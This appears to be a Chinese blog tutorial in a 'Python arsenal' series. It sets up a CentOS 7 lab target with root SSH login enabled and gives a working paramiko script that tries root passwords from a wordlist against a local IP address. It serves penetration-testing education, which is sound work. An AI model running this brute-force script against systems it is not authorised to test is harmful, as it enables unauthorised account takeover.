Python武器库开发-武器库篇之SSH服务暴力破解(五十四)

Python武器库开发-武器库篇之SSH服务暴力破解(五十四)

SSH(Secure Shell)是一种加密的网络协议,用于在不安全的网络上提供安全的远程登录和文件传输功能。SSH可以在客户端和服务器之间建立安全的通信连接,确保通信数据的机密性和完整性。

SSH服务的主要功能包括:

  1. 远程登录:用户可以通过SSH协议在远程主机上执行命令,就像在本地主机上操作一样。

  2. 文件传输:SSH可以方便地传输文件和目录,支持上传和下载操作。

  3. 端口转发:SSH可以在远程主机和本地主机之间建立安全的端口转发通道,用于安全访问远程主机上的服务。

  4. X11转发:SSH支持X11图形界面的转发,使用户可以在本地主机上远程访问远程主机上运行的图形应用程序。

SSH协议使用公钥加密和密钥交换技术来确保数据的安全性。客户端和服务器之间建立通信连接时,会进行密钥交换过程,以确保通信双方都可以验证对方的身份,并协商出一个用于加密通信的共享密钥。这样,即使在不安全的网络上,也能保证通信的机密性和完整性。

环境准备

首先,我们需要准备一台Centos7机器作为靶机在CentOS 7上配置SSH服务的步骤如下:

  1. 确保系统已安装OpenSSH软件包。如果没有安装,可以使用以下命令安装:
sudo yum install openssh-server

在这里插入图片描述

  1. 启动SSH服务,使用以下命令启动SSH服务:
sudo systemctl start sshd

在这里插入图片描述

  1. 设置SSH服务开机自启,使用以下命令将SSH服务设置为开机自启:
sudo systemctl enable sshd

在这里插入图片描述

  1. (可选)如果需要修改SSH的默认配置,可以编辑SSH配置文件,使用以下命令打开SSH配置文件:
sudo vi /etc/ssh/sshd_config 

在这里插入图片描述

在此文件中,您可以修改诸如监听端口、允许的用户、登录选项等等的设置,修改完后保存文件并退出。

我们在此文件中配置登录密码,首先使用文本编辑器(如vi或nano)打开配置文件,在文件中找到#PermitRootLogin的行,并将其取消注释(将#去掉)。在PermitRootLogin的后面添加一个空格和yes,以允许使用root用户登录。例如:PermitRootLogin yes。然后保存并关闭文件。

在这里插入图片描述

  1. (可选)如果有进行了配置文件的修改,需要重新加载SSH配置,使用以下命令重新加载SSH配置:
sudo systemctl reload sshd

在这里插入图片描述

  1. 配置防火墙允许SSH连接。默认情况下,CentOS7使用firewalld进行防火墙配置。如果没有禁用或修改防火墙设置,可以使用以下命令允许SSH连接:
sudo firewall-cmd --zone=public --add-service=ssh --permanent
sudo firewall-cmd --reload

破解代码

接下来我们用python写一段暴力破解SSH服务的代码,代码内容如下:

#!/usr/bin/env python

import paramiko
import socket
import time

host = "192.168.41.147"
#ssh用户
user = "root"
port = 21
passwords = open("PasswordFile.txt").read().split('\n')

def connect_ssh(password):
    #ssh客户端
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh_client.connect(hostname=host,password=password,username=user,timeout=10)
    except socket.timeout:
        print("连接超时")
        return False
    except paramiko.AuthenticationException:
        print(f"[!] 账户密码错误 {user}:{password}")
        return False
    except paramiko.SSHException:
        print("内部错误,等待重连")
        time.sleep(10)
        return connect_ssh(password)
    else:
        print("[+] password found: ",password)
        exit(0)

for password in passwords:
    if connect_ssh(password):
        break

这段代码是一个用于SSH密码破解的脚本。它使用paramiko库来建立SSH连接,尝试使用从"PasswordFile.txt"文件中读取的密码列表进行身份验证。

首先,导入了paramikosockettime模块。然后,定义了一些变量,包括要连接的主机IP地址、SSH用户名、端口号和密码文件。

接下来,定义了一个名为connect_ssh的函数,该函数用于连接SSH并尝试使用给定的密码进行身份验证。函数内部使用了paramiko模块提供的SSHClient类进行SSH连接,并在连接过程中处理可能出现的异常情况。如果连接成功,将打印出找到的密码并退出程序。

最后,使用一个循环遍历密码文件中的每一个密码,并调用connect_ssh函数进行尝试。如果找到了正确的密码,将跳出循环。

运行实验

接下来我们在实际运行这段代码试验一下,如图成功暴力破解出了SSH服务的密码

在这里插入图片描述

  • 15
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

怰月

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值